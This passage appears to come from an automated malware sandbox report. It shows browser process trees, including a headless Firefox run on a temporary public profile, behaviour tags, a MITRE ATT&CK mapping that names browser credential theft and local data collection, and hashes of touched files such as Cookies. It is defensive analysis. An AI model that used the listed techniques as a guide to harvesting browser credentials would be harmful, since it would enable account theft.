    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5920,i,408207754219752405,14906097230059240398,2097152 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=5836 /prefetch:1
    3⤵
    PID:5812
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5356,i,13951010507498589202,11195722435089086796,2097152 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:1
    3⤵
    PID:932
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5452,i,3244194219356076919,6628893310901543508,524288 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:14
    3⤵
    PID:2684
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5460,i,14664283453883688087,16042069065235370893,524288 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:14
    3⤵
    PID:1240
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5380,i,13399320951004666780,2514024342665536584,2097152 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=5496 /prefetch:1
    3⤵
    PID:4628
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6068,i,17701840792527909918,10938634855506445581,2097152 --field-trial-handle=1936,i,3067920862649106067,13582313575516579712,262144 --variations-seed-version --mojo-platform-channel-handle=5628 /prefetch:9
    3⤵
    PID:5672
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2948
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x368,0x7ffe5b0ec188,0x7ffe5b0ec194,0x7ffe5b0ec1a0
    3⤵
    PID:4700
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1684,i,16392240258216094259,8381781650776320719,262144 --field-trial-handle=2780,i,15035402582461697475,5022671543131055017,262144 --variations-seed-version --mojo-platform-channel-handle=2772 /prefetch:2
    3⤵
    PID:1156
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1888,i,8318866413845499353,2992147254650255067,524288 --field-trial-handle=2780,i,15035402582461697475,5022671543131055017,262144 --variations-seed-version --mojo-platform-channel-handle=2836 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4656
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2008,i,13254662170241781753,7401819288615575653,524288 --field-trial-handle=2780,i,15035402582461697475,5022671543131055017,262144 --variations-seed-version --mojo-platform-channel-handle=3016 /prefetch:13
    3⤵
    PID:6008
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3584,i,16515711896630492443,16325652721848574450,2097152 --field-trial-handle=2780,i,15035402582461697475,5022671543131055017,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:1
    3⤵
    PID:6120
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3620,i,17497310225010139643,5096562516414981717,2097152 --field-trial-handle=2780,i,15035402582461697475,5022671543131055017,262144 --variations-seed-version --mojo-platform-channel-handle=3428 /prefetch:1
    3⤵
    PID:1608
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4168,i,13115237751987964059,1516241349983644605,2097152 --field-trial-handle=2780,i,15035402582461697475,5022671543131055017,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:1
    3⤵
    PID:5160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4220,i,1933884866710669761,5648799175538822228,2097152 --field-trial-handle=2780,i,15035402582461697475,5022671543131055017,262144 --variations-seed-version --mojo-platform-channel-handle=4468 /prefetch:9
    3⤵
    PID:124
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5208,i,6819557371501421194,13550710764335647158,524288 --field-trial-handle=2780,i,15035402582461697475,5022671543131055017,262144 --variations-seed-version --mojo-platform-channel-handle=5228 /prefetch:14
    3⤵
    PID:2736
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5368,i,8206233143281887552,5609006673255151057,524288 --field-trial-handle=2780,i,15035402582461697475,5022671543131055017,262144 --variations-seed-version --mojo-platform-channel-handle=5248 /prefetch:14
    3⤵
    PID:1472
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5408,i,9006039007280125109,7621890974069849382,524288 --field-trial-handle=2780,i,15035402582461697475,5022671543131055017,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:14
    3⤵
    PID:2156
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6304,i,11386057902843921714,8581814801382925293,524288 --field-trial-handle=2780,i,15035402582461697475,5022671543131055017,262144 --variations-seed-version --mojo-platform-channel-handle=6276 /prefetch:14
    3⤵
    PID:3164
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6304,i,11386057902843921714,8581814801382925293,524288 --field-trial-handle=2780,i,15035402582461697475,5022671543131055017,262144 --variations-seed-version --mojo-platform-channel-handle=6276 /prefetch:14
    3⤵
    PID:932
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6560,i,3699925649320605547,16722618069806372943,524288 --field-trial-handle=2780,i,15035402582461697475,5022671543131055017,262144 --variations-seed-version --mojo-platform-channel-handle=6576 /prefetch:14
    3⤵
    PID:4360
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6868,i,17727995751377955806,12042251523560025871,524288 --field-trial-handle=2780,i,15035402582461697475,5022671543131055017,262144 --variations-seed-version --mojo-platform-channel-handle=6896 /prefetch:14
    3⤵
    PID:5500
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6172,i,14808695227704948118,3471047215411389524,524288 --field-trial-handle=2780,i,15035402582461697475,5022671543131055017,262144 --variations-seed-version --mojo-platform-channel-handle=6372 /prefetch:14
    3⤵
    PID:2320
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6304,i,14383357943964336058,3442101270105596695,524288 --field-trial-handle=2780,i,15035402582461697475,5022671543131055017,262144 --variations-seed-version --mojo-platform-channel-handle=6336 /prefetch:14
    3⤵
    PID:3520
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4500,i,10298756691630075790,8374895865258825516,524288 --field-trial-handle=2780,i,15035402582461697475,5022671543131055017,262144 --variations-seed-version --mojo-platform-channel-handle=6344 /prefetch:14
    3⤵
    PID:2256
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  PID:4496
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    PID:2332
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2796 -prefsLen 24445 -prefMapHandle 2800 -prefMapSize 268500 -ipcHandle 2900 -initialChannelId {1431346f-cd2b-4ea0-996d-39bb376fcc12} -parentPid 2332 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2332" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:3340
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1668 -prefsLen 24610 -prefMapHandle 1808 -prefMapSize 268500 -jsInitHandle 1952 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2020 -initialChannelId {fec45641-9694-45bb-b3fb-595b3fad4d34} -parentPid 2332 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2332" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      Checks processor information in registry
      PID:4180
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3752 -prefsLen 25493 -prefMapHandle 3756 -prefMapSize 268500 -ipcHandle 1304 -initialChannelId {48828a77-843f-4c5e-ba32-d7a75dd1ff62} -parentPid 2332 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2332" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:4100
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3688 -prefsLen 25542 -prefMapHandle 3684 -prefMapSize 268500 -jsInitHandle 3680 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3672 -initialChannelId {33b959a8-62f9-4cd3-9bb4-ee2a3a6c81f4} -parentPid 2332 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2332" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      Checks processor information in registry
      PID:1708
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 3828 -prefsLen 36486 -prefMapHandle 4912 -prefMapSize 268500 -ipcHandle 2000 -initialChannelId {7b22081c-8ddf-4ea5-8b80-43a4094f77f5} -parentPid 2332 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2332" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 utility
      4⤵
      Checks processor information in registry
      PID:3308
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5064 -prefsLen 34446 -prefMapHandle 5068 -prefMapSize 268500 -jsInitHandle 5072 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5076 -initialChannelId {f64629f0-602f-43de-9eb6-b5e2c94cf95a} -parentPid 2332 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2332" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
      4⤵
      Checks processor information in registry
      PID:2268
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5104 -prefsLen 34446 -prefMapHandle 5124 -prefMapSize 268500 -jsInitHandle 5128 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5136 -initialChannelId {8604acad-43a9-4b76-9243-fa3345942cb2} -parentPid 2332 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2332" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:5872
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5472 -prefsLen 34446 -prefMapHandle 5468 -prefMapSize 268500 -jsInitHandle 5464 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5456 -initialChannelId {4638822b-2372-4315-b47b-1287aa70ebd8} -parentPid 2332 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2332" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:4048

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:752

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1572

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:5912

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:480

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 d52c116d35c7458d7ae2ecd657da8148738b22617a491caa4df0352dba894835
MD5 9d5f1aadf56d98282ec6d8b01eb7df52
SHA1 ec0d6702ee97fa30ca843916b0046fa31d37f1d4
SHA512 7a193e7bd0aaf78a34f5831d0b718f4310e356f8cc4db50fc0164be5b9f86839f3bd711ed8e7e1897bfdc5e10be87d6401401ca85e47daa29d400d7e8ecc4f41
SSDEEP 96:qC6cd+qJw6eq8Em6eifKcIz9NURDotok5Du8D4B6vGyvQH4jY10bblDv4a:qCHxJPz8/CkqDUDNMfr4jY10bb1
TLSH
T11BA11731B8798DB784B6E585B2432E03DF64B097A621AFC4B9ED5E1C14F70EC1752A13
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 33216cc8094343b1e673d6d0ce51864cf882b00961e3411c47b6a0cf1488a291
MD5 67f6e997d9180458e1a8c1eb8facdbb8
SHA1 ba71d9acfdbf5ad19e98c71c4ff3936488e5302e
SHA512 cc39dc134ebb79f6ba88453b88057a692c89209ccaada0ea03ca92512d41d4b9cea1179950cf85647315f4dd3a45c3553a403d01ea2891cbdb3b8df87cb294a1
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7z:fwUQC5VwBIiElEd2K57P7z
TLSH
T16AB3B931457E36BF26E93EE828CF1511B84F3912624895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a201096456be1e380b7687844e70aa8e2d987a06740acf66db0d56e000a3b50d
MD5 36c9bdf74494657a1636bbc59af48eb0
SHA1 aea8177ffde7e43fa1b4cc5ce6c7cf68c2431306
SHA512 2cf6da34ccb1c58e4f6d50681952d27ffc828c4ede6f38ca0a5e429a4f520e426913b04469e4272eed54102a541263bbb54c2628f542fbe357a4afac921bb49e
TLSH
T143D02B79E7DC8512C0C2207C015811A231B37E00EB0802C00905400C18001C20323F0D
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 4123fa2cc2e73053b7602d1d53a57b01f3a6cd8872729fcd7ed66886082b1b99
MD5 5100dc5469c5151f9ac793573116a7fa
SHA1 a8ffca7210c348bef0d710a66e334809b7f58988
SHA512 ead3d81382dc13f1d89e928af9189e5eec6cf3fabfb91ed18d73f1fe38b5e9f76e77fae594633baf6da19747d70fbb17eb97a8a36df60510a930f6006986acfc
TLSH
T1F4D02B75E7EC8412C0C2207C015911A231A37E00D70802C00A05801C18001C20322F09
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 d8fcf593aec30388f0ea44ae1b6d2b95f5cae4eb6a3f80fb13080cc49b3eb2ca
MD5 a043c61f6f1795225a0c133f538158c7
SHA1 85ceff1a56787819bb86cad1b391895d526775a9
SHA512 1f7c8744dbd9d9af3ac582da50c116fadd422ad64140c7cef2adff99a19c6a398c5619520818aff61693c9ad86467fc71097dae79909e67744ffa4010735c890
TLSH
T1EC718788E5D71051FFE03830A416DF4AA9A416BD8FE76B6B21BACC7C634F2E0087584D
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a1a11.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a1a11.TMP
Size 1KB
SHA256 ddcbfdbba4da688cc0742999bd8bfacfadc9d64123acc8236bd6f1cc26a14b1b
MD5 b91532abef20cd5c567256674a297d60
SHA1 bcc10e35f8c1389c243718c4faac71547435ea65
SHA512 69b5516048100f84b14a88f9cf7757c4cdbce385081c246f55a8f2eacce333503ab0e631e7f4bc5bf95a5c8c9ab17d165881198b84010cb42751e2561d7f60ca
TLSH
T1B4415448FAA800A5FBF41571B4D7A3A7FA306AF2CBFB5E462478C1B9A7463204158056
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Size 28KB
SHA256 a63c3dedb6097d6e78b7a28124e1e8591ad2520555faf8b4e9e9724e11f64b4e
